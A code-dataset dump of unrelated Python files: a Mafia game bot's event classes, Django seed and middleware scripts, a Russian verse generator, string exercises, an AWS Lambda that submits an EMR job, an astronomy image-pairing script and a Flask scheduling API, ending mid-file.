self.new_role = \"AGENT\"\n elif self.role == \"AGENT\":\n self.new_role = \"GUARD\"\n\n def msg(self, cast_main, cast_mafia, send_dm):\n if self.actor == self.aggressor:\n msg = default_resp_lib[\"REFOCUS_SELF\"].format(\n role=self.role, actor=self.actor, new_role=self.new_role, target=self.target)\n else:\n msg = default_resp_lib[\"REFOCUS\"].format(\n role=self.role, actor=self.actor, new_role=self.new_role,\n target=self.target, aggressor=self.aggressor\n )\n send_dm(msg, self.actor)\n\n def write(self, mstate):\n if self.actor == self.aggressor or not self.aggressor in mstate.players:\n new_charge = self.actor\n else:\n new_charge = self.aggressor\n player = mstate.players[self.actor]\n player.role = self.new_role\n player.target = new_charge\n\n mstate.contracts[self.actor] = (\n player.role, player.target, player.role in (\"SURVIVOR\",\"GUARD\")\n )\n\nclass WIN(MEvent):\n def __init__(self, winning_team):\n self.winning_team = winning_team\n\n def msg(self, cast_main, cast_mafia, send_dm):\n msg = default_resp_lib[\"WIN\"].format(winning_team=self.winning_team)\n cast_main(msg)\n\n def write(self, mstate):\n self.contracts = mstate.contracts\n\n def next(self, push):\n event_list = []\n for contractor in self.contracts:\n (role, charge, success) = self.contracts[contractor]\n event_list.append(CONTRACT_RESULT(contractor, role, charge, success))\n event_list.append(END(self.winning_team))\n push(event_list)\n \n\nclass CONTRACT_RESULT(MEvent):\n def __init__(self, contractor, role, charge, success):\n self.contractor = contractor\n self.role = role\n self.charge = charge\n self.success = success\n\n def msg(self, cast_main, cast_mafia, send_dm):\n msg = default_resp_lib[\"CONTRACT_RESULT\"].format(\n role=self.role, contractor=self.contractor,\n result=\"Won!\" if self.success else \"Lost!\",\n charge=self.charge\n )\n cast_main(msg)\n\nclass END(MEvent):\n def __init__(self, winning_team):\n self.winning_team = winning_team\n\n def next(self, push):\n # TODO: implement end state stuff\n raise EndGameException(\"{} Won!\".format(self.winning_team))\n","sub_path":"mafiabot/MEvent.py","file_name":"MEvent.py","file_ext":"py","file_size_in_byte":23250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"338333987","text":"import json\nfrom django.contrib.auth.models import User\nimport api\nimport utils\nfrom random import randint\n\nfirst_names_list = ['Brian', 'Zach', 'Anthony', 'Josh', 'Frank', 'A-aron', 'George', 'Jay', 'Charles', 'Danny']\nlast_names_list = ['Lam', 'Green', 'Huang', 'Perline', '-Lu', 'Zhang', 'Necula', 'Patel', 'Xue', 'Glover']\nyear_list = [2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022]\nmajor_list = ['EECS', 'Computer Science', 'English', 'MCB', 'Nutritional Science', 'Mechanical Engineering', 'Music', 'Political Science', 'Math', 'French', 'Media Studies', 'Business', 'Economics', 'Legal Studies', 'Sociology', 'Psychology', 'Integrated Biology', 'Architecture']\nmin_price_list = [0, 100, 200, 300, 400, 500, 600]\nmax_price_list = [1000, 1200, 1300, 1400, 1500, 1600, 1700, 1800, 2000, 2100, 2200, 2400, 2500, 2600, 3000, 3200, 3500, 3700, 4000]\ngender_list = ['Male', 'Female', 'Gender Non-Conforming']\nsmoking_list = [True, False]\nbirthday_list = ['1990-07-01', '1991-07-01', '1992-07-01', '1993-07-01', '1994-07-01', '1995-07-01', '1996-07-01', '1997-07-01', '1998-07-01', '1999-07-01']\nlocation_list = ['Northside', 'Downtown', 'Southside']\n\nclass PostRequestMock():\n\tdef __init__(self, method, body, user):\n\t\tself.method = method\n\t\tself.body = body\n\t\tself.user = user\n\n\n\ndef run_Script(request):\n\treturn writeToDB()\n\ndef writeToDB():\n\ti = 10\n\twhile i > 0:\n\t\tfirst_name = first_names_list[randint(0, len(first_names_list)-1)]\n\t\tlast_name = last_names_list[randint(0, len(last_names_list)-1)]\n\t\temail = first_name + last_name + str(randint(1, 999999)) + '@' + 'gmail.com'\n\t\tmin_price = min_price_list[randint(0, len(min_price_list)-1)]\n\t\tmax_price = max_price_list[randint(0, len(max_price_list)-1)]\n\n\t\n\t\tuser = User.objects.create_user(username=email, first_name=first_name, last_name=last_name, email=email, password='top_secret')\n\t\t\t\t\n\t\tvalues = {'class_year': year_list[randint(0, len(year_list)-1)],\n 'major': major_list[randint(0, len(major_list)-1)],\n 'min_price' : min_price_list[randint(0, len(min_price_list)-1)],\n 'max_price' : max_price_list[randint(0, len(max_price_list)-1)],\n 'gender' : gender_list[randint(0, len(gender_list)-1)],\n 'smoking' : smoking_list[randint(0,1)],\n 'birthday': birthday_list[randint(0, len(birthday_list)-1)],\n 'cleanliness': randint(1, 5),\n 'location': location_list[randint(0, len(location_list)-1)]\n }\n\n\t\trequest = PostRequestMock('POST', json.dumps(values), user)\t\n\t\tresponse = api.handle_survey(request)\n\n\n\t\ti -= 1\n\n\treturn utils.success_response()\n\n","sub_path":"TenAntsApp/roommatepipeline.py","file_name":"roommatepipeline.py","file_ext":"py","file_size_in_byte":2659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"60973112","text":"import random\r\n## размер \"стиха\" - 101010010, где 1 - ударный слог, 0 - безударный\r\n\r\ndef voc():\r\n with open('voc.txt', 'r', encoding='utf-8') as f:\r\n li = f.read() \r\n voc = li.split('\\n')\r\n return random.choice(voc)\r\n\r\ndef imp_dat():\r\n with open('imp.txt', 'r', encoding='utf-8') as f:\r\n li = f.read()\r\n imp = li.split('\\n')\r\n return random.choice(imp)\r\n\r\ndef pronoun_dat():\r\n with open('pr_d.txt', 'r', encoding='utf-8') as f:\r\n li = f.read()\r\n pr_d = li.split('\\n')\r\n return random.choice(pr_d)\r\n\r\ndef adverb():\r\n with open('adverb.txt', 'r', encoding='utf-8') as f:\r\n li = f.read()\r\n adv = li.split('\\n')\r\n return random.choice(adv)\r\n\r\ndef punct():\r\n with open('punct.txt', 'r', encoding='utf-8') as f:\r\n li = f.read()\r\n punct = li.split('\\n') \r\n return random.choice(punct)\r\n\r\ndef number():\r\n n = input('Укажите число s/pl ')\r\n return n\r\n \r\n\r\ndef word(n):\r\n a = ''\r\n if n == 's':\r\n with open('word_s.txt', 'r', encoding='utf-8') as f:\r\n li = f.read()\r\n word_s = li.split('\\n')\r\n a = random.choice(word_s)\r\n else:\r\n with open('word_pl.txt', 'r', encoding='utf-8') as f:\r\n li = f.read()\r\n word_pl = li.split('\\n')\r\n a = random.choice(word_pl)\r\n return a\r\n\r\ndef verb(n):\r\n a = ''\r\n if n == 's':\r\n with open('verb_s.txt', 'r', encoding='utf-8') as f:\r\n li = f.read()\r\n verb_s = li.split('\\n')\r\n a = random.choice(verb_s)\r\n else:\r\n with open('verb_pl.txt', 'r', encoding='utf-8') as f:\r\n li = f.read()\r\n verb_pl = li.split('\\n')\r\n a = random.choice(verb_pl)\r\n return a\r\n\r\ndef time():\r\n with open('time.txt', 'r', encoding='utf-8') as f:\r\n li = f.read()\r\n time = li.split('\\n')\r\n return random.choice(time)\r\n\r\ndef part():\r\n with open('part.txt', 'r', encoding='utf-8') as f:\r\n li = f.read()\r\n part = li.split('\\n')\r\n return random.choice(part)\r\n\r\ndef anim():\r\n with open('anim.txt', 'r', encoding='utf-8') as f:\r\n li = f.read()\r\n anim = li.split('\\n')\r\n return random.choice(anim)\r\n\r\ndef verb_anim():\r\n with open('verb_anim.txt', 'r', encoding='utf-8') as f:\r\n li = f.read()\r\n verb = li.split('\\n')\r\n return random.choice(verb)\r\n\r\ndef place():\r\n with open('place.txt', 'r', encoding='utf-8') as f:\r\n li = f.read()\r\n place = li.split('\\n')\r\n return random.choice(place)\r\n\r\ndef verse1():\r\n return voc() + ', ' + imp_dat() + ' ' + pronoun_dat() + ' ' + adverb() + ' и ' + adverb() + punct()\r\n\r\ndef verse2():\r\n no = number()\r\n return word(no) + ' ' + verb(no) + ' ' + time() + ' ' + part() + ' ' + adverb() + punct()\r\n\r\ndef verse3():\r\n return anim() + ' ' + adverb() + ' ' + verb_anim() + ' в ' + place() + punct()\r\n\r\ndef linie():\r\n r = random.randint(1, 3)\r\n linie = ''\r\n if r == 1:\r\n linie = verse1()\r\n if r == 2:\r\n linie = verse2()\r\n else:\r\n linie = verse3()\r\n return linie\r\n\r\ndef main():\r\n counter = 0\r\n lin = '\\n'\r\n while counter != 4:\r\n counter += 1\r\n lin += linie()\r\n lin += '\\n'\r\n print(lin)\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"hw06_text_gen/averin2var.py","file_name":"averin2var.py","file_ext":"py","file_size_in_byte":3362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"485162665","text":"# Implement your function below.\ndef common_elements(list1, list2):\n result = []\n i1=0\n i2=0\n\n while(i1< len(list1)):\n if list1[i1]==list2[i2]:\n result.append(list1[i1])\n i1+=1\n i2+=1\n elif list1[i1] 5:\n productList.pop()\n\n request.last_five = productList\n\n response = self.get_response(request)\n\n if request.dmp.page == \"productpage\":\n for x in request.last_five:\n if int(x.id) == int(request.dmp.urlparams[0]):\n print(\"IF Check\")\n request.last_five.remove(x)\n\n if request.dmp.page == \"productpage\":\n request.last_five.insert(0, cmod.Product.objects.get(id = request.dmp.urlparams[0]))\n newProdIDs = []\n for x in request.last_five:\n newProdIDs.insert(0, x.id)\n\n request.session['products'] = newProdIDs\n\n return response\n","sub_path":"catalog/history.py","file_name":"history.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"136442409","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Feb 4 13:17:25 2021\n\n@author: lilygoodyersait\n\"\"\"\n\nletters = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\"\n# Write your unique_english_letters function here == return number od unique english characters in a word:\ndef unique_english_letters(word):\n a1=[]\n for i in letters:\n if i in word:\n a1.append(i)\n return len(a1)\n \nunique_english_letters(\"word\")\n\n###ways to count number of times a character'x' occurs in 'word'\n\ndef count_char_x(word,x):\n b1=word.count(x)\n return b1\ncount_char_x(\"word\", \"w\")\n\ndef count_char_x(word,x):\n b1=[i for i in word if i == x]\n return len(b1)\n\n\ndef count_char_x(word,x):\n b1=[]\n for i in word:\n if i == x:\n b1.append(i)\n return len(b1)\n\n\n### ways to count number of times multiple character string (x) occurs within another string (word)\ndef count_multi_char_x(word,x):\n c1=word.count(x)\n return c1\n\ncount_multi_char_x(\"wooordor\", \"or\")\n\ndef count_multi_char_x(word,x):\n c1=word.split(x)\n return len(c1)-1\n\ndef multi_char_x(word,x):\n b1=[i for i in word if i == x]\n return len(b1)\n\n### return substring between start and end, just reteurning the whole word if neither start or end are in word\n\ndef substring_between_letters(word, start, end):\n \n if start in word and end in word:\n start_index=word.find(start)\n end_index=word.find(end)\n return word[start_index +1: end_index]\n if start not in word and end in word:\n end_index=word.find(end)\n return word[:end_index]\n if start in word and end not in word:\n start_index=word.find(start)\n return word[start_index +1:]\n else:\n return word\n\nsubstring_between_letters(\"word\", \"w\",\"d\")\nsubstring_between_letters(\"word\", \"p\",\"k\")\n\n\n### Check every word in sentence == longer than integer x\ndef x_length_words(sentence,x):\n words=sentence.split()\n for i in words:\n if len(i) < x:\n return False\n else:\n return True\n\n\n### check if name is in sentence\ndef check_for_name(sentence, name):\n lc=sentence.lower()\n lcname=name.lower()\n if lcname in lc:\n return True\n else:\n return False\n\n\ndef every_other_letter(word):\n new=word[::2]\n return new\n \nevery_other_letter(\"pink\")\n\n##reverse word\n \ndef reverse_string(word):\n return x[::-1]\n \n\n### create spoonerism (swap first letters) with word1 and word2\n\ndef make_spoonerism(word1, word2):\n spooner1=word2[0] +word1[1:]\n spooner2 = word1[0] + word2[1:]\n spoonerfinal=spooner1 + \" \"+spooner2\n return spoonerfinal\n\n###add exclamation until len == 20 (if already 20 == just return word)\n\ndef add_exclamation(word):\n word_length=len(word)\n exc_no=(20-word_length)\n exclamations= \"!\" * exc_no\n new_word=word+exclamations\n return(new_word)\n \nadd_exclamation(\"cat\")\n\n\n\n\n\n","sub_path":"strings_review2_codecademy.py","file_name":"strings_review2_codecademy.py","file_ext":"py","file_size_in_byte":2856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"495183043","text":"from botocore.vendored import requests\nimport json\ndef lambda_handler(event, context):\n headers = { \"content-type\": \"application/json\" }\n url = 'http://xxxxx:8998/batches'\n payload = {\n 'file' : 's3://<>/spark-taxi/spark-taxi-job.jar',\n 'className' : 'com.example.RateCodeStatus',\n 'args' : [event.get('rootPath')]\n }\n res = requests.post(url, data = json.dumps(payload), headers = headers, verify = False)\n json_data = json.loads(res.text)\n return json_data.get('id')","sub_path":"aws-blog-emr-step-functions/lambda-functions/blog-rate-code-status-job-submit-function.py","file_name":"blog-rate-code-status-job-submit-function.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"622343033","text":"from django.core.paginator import Paginator, PageNotAnInteger,EmptyPage\r\n\r\nclass cPaginator(Paginator):\r\n def __init__(self, *args, **kwargs):\r\n super().__init__(*args, **kwargs)\r\n\r\n def page(self, number):\r\n try:\r\n pages = super().page(number)\r\n except PageNotAnInteger:\r\n pages = super().page(1)\r\n except EmptyPage:\r\n pages = super().page(super().num_pages)\r\n return pages","sub_path":"common/paginator.py","file_name":"paginator.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"335442934","text":"\"\"\"\nCreated on Oct 4, 2015\n@author: Ryan\n\"\"\"\nfrom datetime import datetime\n\"\"\"\nneed datetime to convert string formatted timestamp to a datetime variable\n\"\"\"\n\n\ndef start():\n \"\"\"\n starts the program by opening sci_metadata.tsv, completing tasks, then writes to a file called dark_sci_matches\n :return:None\n \"\"\"\n darkArray = getDarkData()\n sciComparison(darkArray)\n \n \ndef sciComparison(darkArray):\n \"\"\"\n reads in the sci_metadata file, completes comparison, writes \"matches\" to file\n :param darkArray: function name for dark aray\n :return:date\n \"\"\"\n scienceImages = open(\"sci_metadata.tsv\", \"r\")\n matches = open(\"dark_sci_matches.tsv\", \"w\")\n \n #remove headers\n data = scienceImages.readline() # stores the sci_metadata.tsv into a variable \"data\"\n data = scienceImages.readline() # stores into \"data\" again to remove header\n # while loop to go through each line from sci_metadata, and verifies\n # that there is nothing at the end of the file (!= \"\")\n while data is not None and data != \"\":\n data = data.split(\"\\t\")\n difference = darkArray[0]\n\n for entry in darkArray:\n if abs(timeConv(difference[1]) - timeConv(data[2])) > abs(timeConv(entry[1]) - timeConv(data[2])):\n difference = entry\n\n # tab separates the science and closest dark, then makes a new line for next matching\n matches.write(difference[0] + \"\\t\" + data[0] + \"\\n\")\n data = scienceImages.readline()\n \n \ndef timeConv(time):\n \"\"\"\n method created and called above to convert string-formatted timestamp to a datetime field\n :param time: datetime formated object\n :return: date\n \"\"\"\n date = datetime.strptime(time, \"%Y-%m-%dT%H:%M:%S.%f\")\n return date\n\n\ndef getDarkData():\n \"\"\"\n gets the dark_metadata from a file by reading it in, and creates an array datadict\n :return:None\n \"\"\"\n dark_metadata = open(\"dark_metadata.tsv\", \"r\")\n datadict = []\n \n\n data = dark_metadata.readline() #remove headers\n \n data = dark_metadata.readline()\n\n # iterates through the list of darks and outputs as tab separated into the array datadict\n while data is not None and data != \"\":\n data = data.split('\\t')\n datadict.append([data[0].strip(), data[2].strip()])\n data = dark_metadata.readline()\n\n return datadict\n\nif __name__ == \"__main__\":\n start()\n","sub_path":"python/createImagePairings.py","file_name":"createImagePairings.py","file_ext":"py","file_size_in_byte":2406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"362878370","text":"import sys\n\nsets = []\ns = 0\nfor line in sys.stdin:\n\t\n\tif len(line.strip()) == 0:\n\t\tprint(sets)\n\t\tif len(sets) > 1:\t\t\n\t\t\ts += len(set.intersection(*sets))\n\t\telse:\n\t\t\ts += len(sets[0])\n\t\tsets = []\n\n\ts1 = set()\n\tfor c in line.strip():\n\t\ts1.add(c)\n\tif len(s1) > 0:\n\t\tsets.append(s1)\n\t\t\n\t\n\t#print(qs)\n\nprint(s)\n\n","sub_path":"6.py","file_name":"6.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"329383757","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\n\n# 用plot方法画出x=(0,10)间sin的图像\n\n# polt函数,画曲线\ndef plot():\n x = np.linspace(0, 10, 30)\n print(x)\n '''\n plt.plot(x, y, format_string, **kwargs)\n x轴数据,y轴数据,format_string控制曲线的格式字串\n format_string\n 由颜色字符,风格字符,和标记字符\n '''\n plt.plot(x, np.sin(x), '-bo')\n plt.show()\n\n\nif __name__ == \"__main__\":\n plot()\n","sub_path":"test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"178546328","text":"t=int(input())\nfor tt in range(1, t+1):\n\ts = input()\n\tl = [int(x) for x in s]\n\ttable = [0] * len(s)\n\tfor i in range(len(s)-1, -1, -1):\n\t\ttable[i] = 1\n\t\tfor j in range(i+1, len(s)):\n\t\t\tif l[j] > l[i]:\n\t\t\t\ttable[i] += table[j]\n\tprint('Case', str(tt)+':', sum(table))\n","sub_path":"SUBP/SUBP.py","file_name":"SUBP.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"304772422","text":"from tkinter import *\n\nclass Test():\n def __init__(self):\n self.root = Tk()\n self.text = StringVar()\n self.text.set(\"Test\")\n self.label = Label(self.root, textvariable=self.text)\n\n self.button = Button(self.root,\n text=\"Click to change text below\",\n command=self.changeText)\n self.button.pack()\n self.label.pack()\n self.root.mainloop()\n\n def changeText(self):\n self.text.set(\"Text updated\") \n\napp=Test()","sub_path":"codigos/prueba_2.py","file_name":"prueba_2.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"128437341","text":"\"\"\"Utility module for provider related code.\n\n\"\"\"\n\nimport os\nimport re\n\nfrom rnaseq_pipeline import project\n\n\ndef get_samples(files, provider):\n \"\"\"Get samples from project directory.\"\"\"\n samples = {}\n tuples = []\n for f in files:\n if not is_fastq(f):\n continue\n sample_id = provider.get_sample_id(f)\n lane = provider.get_lane(f)\n tuples.append((sample_id, lane, f))\n\n for sample_id, lane_id, path in tuples:\n if sample_id not in samples:\n samples[sample_id] = {}\n if lane_id not in samples[sample_id]:\n samples[sample_id][lane_id] = []\n samples[sample_id][lane_id].append(project.Read(path))\n\n result = []\n for sample_id in sorted(samples.keys()):\n sample_lanes = [\n project.Lane(lane_id, reads=sorted(reads)) for lane_id, reads\n in sorted(samples[sample_id].items())\n ]\n result.append(project.Sample(sample_id, lanes=sample_lanes))\n\n return result\n\n\ndef get_first_matching_pattern(filepath, patterns):\n \"\"\"Return first filename pattern matching the supplied filename.\"\"\"\n filename = os.path.basename(filepath)\n pattern = None\n for name, pat in patterns.items():\n if re.search(pat, filename):\n pattern = (name, pat)\n\n if pattern is None:\n msg = \"Unsupported FASTQ naming convention: {0}\"\n raise ValueError(msg.format(filename))\n\n return pattern\n\n\ndef get_re_group_number(pattern_name, group_name, translations):\n \"\"\"Get RE match group number for specified pattern and group.\n\n This is used to find the group corresponding to the wanted\n filename part.\n\n \"\"\"\n return translations[pattern_name][group_name]\n\n\ndef get_filename_part(filepath, pattern, translations, part='all'):\n \"\"\"Return the specified part of the filename.\"\"\"\n filename = os.path.basename(filepath)\n\n (pattern_name, pattern) = pattern\n\n group_number = get_re_group_number(pattern_name, part, translations)\n\n m = re.search(pattern, filename)\n if m is None:\n raise ValueError(\"Could not parse {0} using pattern {1}\".format(\n filepath, pattern_name))\n filename_part = m.group(group_number)\n return filename_part\n\n\ndef is_fastq(filename):\n \"\"\"Check if file has FASTQ ending.\"\"\"\n return filename.endswith(\".fastq\") or filename.endswith(\".fastq.gz\")\n\n\ndef get_fastq_files(directory):\n \"\"\"Return a sorted list of all FASTQ files found in supplied directory.\n\n This function recurses into subdirectories.\n\n \"\"\"\n fastq_files = []\n for dir_name, sub_dirs, files in os.walk(directory):\n fastq_files.extend([os.path.join(dir_name, f) for f in files\n if is_fastq(f)])\n return sorted(fastq_files)\n","sub_path":"rnaseq_pipeline/providers/provider_utils.py","file_name":"provider_utils.py","file_ext":"py","file_size_in_byte":2763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"643394144","text":"# !/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\nfrom flask_restplus.resource import Resource\nfrom configs import log\nfrom server.decorators import Response\nfrom server.request import get_arg, get_payload\nfrom document.dispatch import *\nfrom filters.dispatch import DispatchFilter, DispatchAlertFilter\nfrom operations.dispatch import DispatchOperation, DispatchAlertOperation\nfrom verify.dispatch import DispatchVerify, DispatchAlertVerify\nfrom verify.permission import PermissionVerify\n\n\nclass CrontabSearch(Resource):\n @staticmethod\n @cron_request\n @DispatchFilter.filter_cron_data(run_times=list)\n @DispatchOperation.crontab_next_time(sched=str, query_times=int)\n def get():\n \"\"\"获取调度时间\"\"\"\n params = Response(\n sched=get_arg('sched'),\n query_times=int(get_arg('queryTimes', 10))\n )\n log.info('获取调度时间[params: %s]' % str(params))\n return params\n\n\nclass DispatchList(Resource):\n @staticmethod\n @dispatch_list_request\n @DispatchFilter.filter_get_dispatch(result=list, total=int)\n @DispatchOperation.get_dispatch_list(interface_id=int, dispatch_name=str, status=int, page=int, limit=int)\n @DispatchVerify.verify_get_dispatch_list(interface_id=int, dispatch_name=str, status=int, page=int, limit=int)\n def get():\n \"\"\"获取调度列表\"\"\"\n params = Response(\n interface_id=int(get_arg('interface_id', 0)),\n dispatch_name=get_arg('dispatch_name', ''),\n status=int(get_arg('status', 0)),\n page=int(get_arg('page', 1)),\n limit=int(get_arg('limit', 10))\n )\n log.info('获取调度列表[params: %s]' % str(params))\n return params\n\n\nclass DispatchDetail(Resource):\n @staticmethod\n @DispatchFilter.filter_get_dispatch_detail(result=dict)\n @DispatchOperation.get_dispatch_detail(dispatch_id=int)\n @DispatchVerify.verify_get_dispatch_detail(dispatch_id=int)\n def get(dispatch_id):\n \"\"\"获取调度详情\"\"\"\n params = Response(dispatch_id=dispatch_id)\n log.info('获取调度详情[params: %s]' % str(params))\n return params\n\n @staticmethod\n @dispatch_update_request\n @DispatchFilter.filter_update_dispatch_detail(dispatch_id=int)\n @DispatchOperation.update_dispatch_detail(dispatch_id=int, interface_id=int, dispatch_name=str, minute=str,\n dispatch_desc=str, hour=str, day=str, month=str, week=str,\n user_id=int, old_status=int, new_status=int)\n @DispatchVerify.verify_update_dispatch_detail(dispatch_id=int, interface_id=int, dispatch_name=str, minute=str,\n dispatch_desc=str, hour=str, day=str, month=str, week=str,\n user_id=int, old_status=int, new_status=int)\n @PermissionVerify.verify_schedule_permission(dispatch_id=int, interface_id=int, dispatch_name=str, minute=str,\n dispatch_desc=str, hour=str, day=str, month=str, week=str,\n old_status=int, new_status=int)\n def put(dispatch_id):\n \"\"\"修改调度详情\"\"\"\n payload = get_payload()\n params = Response(\n dispatch_id=dispatch_id,\n interface_id=int(payload.get('interface_id', 0)),\n dispatch_name=payload.get('dispatch_name', ''),\n dispatch_desc=payload.get('dispatch_desc', ''),\n minute=payload.get('minute', ''),\n hour=payload.get('hour', ''),\n day=payload.get('day', ''),\n month=payload.get('month', ''),\n week=payload.get('week', ''),\n old_status=int(payload.get('old_status', 0)),\n new_status=int(payload.get('new_status', 0))\n )\n log.info('修改调度详情[params: %s]' % str(params))\n return params\n\n\nclass DispatchAction(Resource):\n @staticmethod\n @dispatch_run_request\n @DispatchFilter.filter_run_dispatch(dispatch_id=list)\n @DispatchOperation.run_dispatch(dispatch_id=list, run_date=str, date_format=str, is_after=int)\n @DispatchVerify.verify_run_dispatch(dispatch_id=list, run_date=str, date_format=str, is_after=int)\n @PermissionVerify.verify_execute_permission(dispatch_id=list, run_date=str, date_format=str, is_after=int)\n def post():\n \"\"\"立即执行调度任务\"\"\"\n payload = get_payload()\n params = Response(\n dispatch_id=payload.get('dispatch_id', []),\n run_date=payload.get('run_date', ''),\n date_format=payload.get('date_format', ''),\n is_after=int(payload.get('is_after', 1))\n )\n log.info('立即执行调度任务[params: %s]' % str(params))\n return params\n\n @staticmethod\n @dispatch_action_request\n @DispatchFilter.filter_action_dispatch(dispatch_id=list)\n @DispatchOperation.action_dispatch(dispatch_id=list, action=int, user_id=int)\n @DispatchVerify.verify_action_dispatch(dispatch_id=list, action=int, user_id=int)\n @PermissionVerify.verify_execute_permission(dispatch_id=list, action=int)\n def patch():\n \"\"\"暂停/恢复调度任务\"\"\"\n payload = get_payload()\n params = Response(\n dispatch_id=payload.get('dispatch_id', []),\n action=int(payload.get('action', 0))\n )\n log.info('暂停/恢复调度任务[params: %s]' % str(params))\n return params\n\n @staticmethod\n @dispatch_delete_request\n @DispatchFilter.filter_delete_dispatch_detail(dispatch_id=list)\n @DispatchOperation.delete_dispatch_detail(dispatch_id=list)\n @DispatchVerify.verify_delete_dispatch_detail(dispatch_id=list, user_id=int)\n @PermissionVerify.verify_execute_permission(dispatch_id=list)\n def delete():\n \"\"\"删除调度详情\"\"\"\n payload = get_payload()\n params = Response(dispatch_id=payload.get('dispatch_id', []))\n log.info('删除调度详情[params: %s]' % str(params))\n return params\n\n\nclass DispatchAdd(Resource):\n @staticmethod\n @dispatch_add_request\n @DispatchFilter.filter_add_dispatch(dispatch_id=int)\n @DispatchOperation.add_dispatch_detail(interface_id=int, dispatch_name=str, dispatch_desc=str, minute=str,\n hour=str, day=str, month=str, week=str, user_id=int)\n @DispatchVerify.verify_add_dispatch(interface_id=int, dispatch_name=str, dispatch_desc=str, minute=str,\n hour=str, day=str, month=str, week=str, user_id=int)\n @PermissionVerify.verify_schedule_permission(interface_id=int, dispatch_name=str, dispatch_desc=str, minute=str,\n hour=str, day=str, month=str, week=str)\n def post():\n \"\"\"新增调度\"\"\"\n payload = get_payload()\n params = Response(\n interface_id=int(payload.get('interface_id', '')),\n dispatch_name=payload.get('dispatch_name', ''),\n dispatch_desc=payload.get('dispatch_desc', ''),\n minute=payload.get('minute', ''),\n hour=payload.get('hour', 0),\n day=payload.get('day', ''),\n month=payload.get('month', ''),\n week=payload.get('week', '')\n )\n log.info('新增调度[params: %s]' % str(params))\n return params\n\n\nclass DispatchAlertAdd(Resource):\n @staticmethod\n @dispatch_alert_add_request\n @DispatchAlertFilter.filter_add_dispatch_alert(dispatch_id=int)\n @DispatchAlertOperation.add_dispatch_alert(dispatch_id=int, alert_s=int, alert_f=int, conf_id_s=int, conf_id_f=int,\n user_id=int, send_mail_s=str, send_mail_f=str)\n @DispatchAlertVerify.verify_add_dispatch_alert(dispatch_id=int, alert_s=int, alert_f=int, conf_id_s=int,\n conf_id_f=int, user_id=int, send_mail_s=str, send_mail_f=str)\n @PermissionVerify.verify_schedule_permission(dispatch_id=int, alert_s=int, alert_f=int, conf_id_s=int,\n conf_id_f=int, send_mail_s=str, send_mail_f=str)\n def post():\n \"\"\"新增调度预警\"\"\"\n payload = get_payload()\n params = Response(\n dispatch_id=int(payload.get('dispatch_id', 0)),\n alert_s=int(payload.get('alert_s', 0)),\n alert_f=int(payload.get('alert_f', 0)),\n conf_id_s=int(payload.get('conf_id_s', 0)),\n conf_id_f=int(payload.get('conf_id_f', 0)),\n send_mail_s=payload.get('send_mail_s', ''),\n send_mail_f=payload.get('send_mail_f', '')\n )\n log.info('新增执行流预警[params: %s]' % str(params))\n return params\n\n\nclass DispatchAlertDetail(Resource):\n @staticmethod\n @DispatchAlertFilter.filter_get_dispatch_alert_detail(result=list)\n @DispatchAlertOperation.get_dispatch_alert_detail(dispatch_id=int)\n @DispatchAlertVerify.verify_get_dispatch_alert_detail(dispatch_id=int)\n def get(dispatch_id):\n \"\"\"获取调度预警详情\"\"\"\n params = Response(dispatch_id=dispatch_id)\n log.info('获取调度预警详情[params: %s]' % str(params))\n return params\n\n @staticmethod\n @dispatch_alert_update_request\n @DispatchAlertFilter.filter_update_dispatch_alert(dispatch_id=int)\n @DispatchAlertOperation.update_dispatch_alert_detail(dispatch_id=int, alert_s=int, alert_f=int, conf_id_s=int,\n alert_id_s=int, alert_id_f=int, conf_id_f=int, user_id=int,\n send_mail_s=str, send_mail_f=str)\n @DispatchAlertVerify.verify_update_dispatch_alert_detail(dispatch_id=int, alert_s=int, alert_f=int, conf_id_s=int,\n alert_id_s=int, alert_id_f=int, conf_id_f=int, user_id=int,\n send_mail_s=str, send_mail_f=str)\n @PermissionVerify.verify_schedule_permission(dispatch_id=int, alert_s=int, alert_f=int, conf_id_s=int,\n alert_id_s=int, alert_id_f=int, conf_id_f=int, send_mail_s=str,\n send_mail_f=str)\n def put(dispatch_id):\n \"\"\"修改调度预警详情\"\"\"\n payload = get_payload()\n params = Response(\n dispatch_id=dispatch_id,\n alert_s=int(payload.get('alert_s', 0)),\n alert_f=int(payload.get('alert_f', 0)),\n alert_id_s=int(payload.get('alert_id_s', -1)),\n alert_id_f=int(payload.get('alert_id_f', -1)),\n conf_id_s=int(payload.get('conf_id_s', 0)),\n conf_id_f=int(payload.get('conf_id_f', 0)),\n send_mail_s=payload.get('send_mail_s', ''),\n 